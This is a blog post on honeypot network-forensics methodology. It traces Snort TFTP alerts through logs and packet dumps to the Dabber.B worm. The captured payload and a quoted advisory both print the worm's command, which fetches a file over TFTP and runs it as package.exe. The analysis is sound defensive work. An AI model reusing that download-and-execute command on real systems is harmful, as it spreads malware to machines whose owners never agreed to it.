Ok, I know its a play on words, but I like it. Today I checked my honeypot and got some old, but interesting traffic. This post is more of a lesson in analysis methodology. First I got on my IDS to see what as new:./snortalog.pl -attack /nsm/snort/alert -3
subject: IDS Statistics generated on Wed Oct 17 11:06:46 2007
The log begins at : Oct 07 15:33:30
The log ends at : Oct 17 11:03:22
Total of Lines in log file : 57283
Total of Logs Dropped : 7294 (12.73%)
Total events in table : 7405
Source IP recorded : 287
Destination IP recorded : 68
Host logger recorded : 1 with 1 interface(s)
Signatures recorded : 81
Classification recorded : 17
Severity recorded : 4
Portscan detected : 0
Distribution of attack methods
=============================================================================================================
### 81 of 81 ###
% No Attack Priority Severity
=============================================================================================================
18.47 1368 ICMP Echo Reply {icmp} 3 low
18.42 1364 ICMP PING {icmp} 3 low
18.23 1350 ICMP L3retriever Ping {icmp} 2 medium
18.15 1344 NETBIOS SMB IPC$ unicode share access {tcp} 3 low
3.13 232 SHELLCODE x86 NOOP {tcp} 1 high
...
0.04 3 TFTP Get {udp} 2 medium
Here we can see 3 alerts for TFTP Get. I like to investigate all TFTP activity as many worms use this for file retrieval.
# cat alert | grep -A 5 TFTP
[**] [1:1444:3] TFTP Get [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
10/16-20:54:15.416648 192.168.0.34:32772 -> 192.168.0.1:69
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF
Len: 18
--
[**] [1:1444:3] TFTP Get [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
10/16-20:54:19.865122 192.168.0.34:32772 -> 192.168.0.1:69
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF
Len: 18
--
[**] [1:1444:3] TFTP Get [**]
[Classification: Potentially Bad Traffic] [Priority: 2]
10/16-20:54:29.093299 192.168.0.34:32772 -> 192.168.0.1:69
UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:46 DF
Len: 18
I see three TFTP gets to an internal IP!!! My router. I don't like this! So I immediately check my full content data:
[eon@localhost honeytrap]$ cat honeytrap.log | grep TFTP
[2007-10-16 20:54:30] TFTP download - Requesting 'h3110.411' from 192.168.11.3.
[2007-10-16 20:54:34] TFTP download - Requesting 'h3110.411' from 192.168.11.3.
[2007-10-16 20:55:20] TFTP download error - Connection timed out.
[2007-10-16 20:55:24] TFTP download error - Connection timed out.
[2007-10-16 20:56:23] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:23] TFTP download error - Read Request failed.
[2007-10-16 20:56:28] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:28] TFTP download error - Read Request failed.
[2007-10-16 20:56:37] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:37] TFTP download error - Read Request failed.
Here we see several requests to internal IP's from my honeypot? Am I PWND??? Well lets investigate before jumping to conclusions. Lets look at the payload of the internal requests:
# tcpdump -vvnnXs 1514 -r honeytrap_00085_20071016201229 port 69
reading from file honeytrap_00085_20071016201229, link-type EN10MB (Ethernet)
20:52:22.037221 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8003 0045 001a 6c6d 0001 6833 .......E..lm..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:26.383238 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8004 0045 001a 6c6c 0001 6833 .......E..ll..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:27.035581 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8003 0045 001a 6c6d 0001 6833 .......E..lm..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:31.381793 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8004 0045 001a 6c6c 0001 6833 .......E..ll..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:32.034636 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32771 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8003 0045 001a 6c6d 0001 6833 .......E..lm..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:52:36.380831 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.11.3.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 ae49 c0a8 0022 E.....@.@..I..."
0x0010: c0a8 0b03 8004 0045 001a 6c6c 0001 6833 .......E..ll..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
and...
20:54:15.416648 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.0.1.69: [udp sum ok] 18 RRQ "h3110.411" octet
0x0000: 4500 002e 0000 4000 4011 b94b c0a8 0022 E.....@.@..K..."
0x0010: c0a8 0001 8004 0045 001a 776e 0001 6833 .......E..wn..h3
0x0020: 3131 302e 3431 3100 6f63 7465 7400 110.411.octet.
20:54:15.417055 IP (tos 0x0, ttl 127, id 15084, offset 0, flags [none], proto: UDP (17), length: 47) 192.168.0.1.1469 > 192.168.0.34.32772: [udp sum ok] UDP, length 19
0x0000: 4500 002f 3aec 0000 7f11 7f5e c0a8 0001 E../:......^....
0x0010: c0a8 0022 05bd 8004 001b b78b 0005 0001 ..."............
0x0020: 4669 6c65 206e 6f74 2066 6f75 6e64 00 File.not.found.
20:54:19.865122 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto: UDP (17), length: 46) 192.168.0.34.32772 > 192.168.0.1.69: [udp sum ok] 18 RRQ "h3110.411" octet
Well, I see a "h3110.411" which is "Hello All" in leet (1337) speak. Is someone messing with me? Lets look at the traffic right before the TFTP GET using grep with the "B" flag:
[eon@localhost honeytrap]$ cat honeytrap.log | grep -B 3 TFTP
....
--
[2007-10-16 20:56:23] * 5554 2015 bytes attack string from 202.211.93.182:3698.
[2007-10-16 20:56:23] 8967 Connection from 58.91.139.171:1156 accepted.
[2007-10-16 20:56:23] * 8967 68 bytes attack string from 202.211.93.182:1156.
[2007-10-16 20:56:23] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:23] TFTP download error - Read Request failed.
--
[2007-10-16 20:56:27] * 1023 2015 bytes attack string from 202.211.93.182:1714.
[2007-10-16 20:56:28] 8967 Connection from 58.91.139.171:2912 accepted.
[2007-10-16 20:56:28] * 8967 68 bytes attack string from 202.211.93.182:2912.
[2007-10-16 20:56:28] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:28] TFTP download error - Read Request failed.
--
[2007-10-16 20:56:36] * 445 4205 bytes attack string from 58.91.139.171:3382.
[2007-10-16 20:56:37] 8967 Connection from 58.91.139.171:2695 accepted.
[2007-10-16 20:56:37] * 8967 67 bytes attack string from 202.211.93.182:2695.
[2007-10-16 20:56:37] TFTP download - Requesting 'h3110.411' from 192.168.0.1.
[2007-10-16 20:56:37] TFTP download error - Read Request failed.
Looks like a connection attempt to port 8967 before the TFTP request. Lets look:
20:54:15.414621 IP (tos 0x0, ttl 28, id 21675, offset 0, flags [DF], proto: TCP (6), length: 108) 58.91.139.171.1156 > 192.168.0.34.8967: P, cksum 0xdd72 (correct), 1:69(68) ack 1 win 64064
0x0000: 4500 006c 54ab 4000 1c06 8310 3a5b 8bab E..lT.@.....:[..
0x0010: c0a8 0022 0484 2307 64f6 5e86 2d61 deee ..."..#.d.^.-a..
0x0020: 5018 fa40 dd72 0000 7466 7470 202d 6920 P..@.r..tftp.-i.
0x0030: 3139 322e 3136 382e 302e 3120 4745 5420 192.168.0.1.GET.
0x0040: 6833 3131 302e 3431 3120 7061 636b 6167 h3110.411.packag
0x0050: 652e 6578 6520 2620 7061 636b 6167 652e e.exe.&.package.
0x0060: 6578 6520 2620 6578 6974 0a00 exe.&.exit..
Ah, here is the culprit. An attack on port 8967 with the embedded command. This must be an internal host (windows router?) that sent its internal IP as part of the TFTP attack string. That is why it was directed to my internal IP. Using every analysts friend, Google, we do a search on "h3110.411" and "8967". This search comes up as the Dabber.B worm.
Quote from Symantec:
"This worm binds to a command shell to port 8967. Then, it uses the shell to make the infected computer download and execute the worm body using FTP. It issues the following command:
tftp -i [attacker's IP] GET h3110.411 package.exe & package.exe & exit "
So here we have it, mystery solved. If this had been a production system and not a honeypot, this would have been a sure sign of infection.
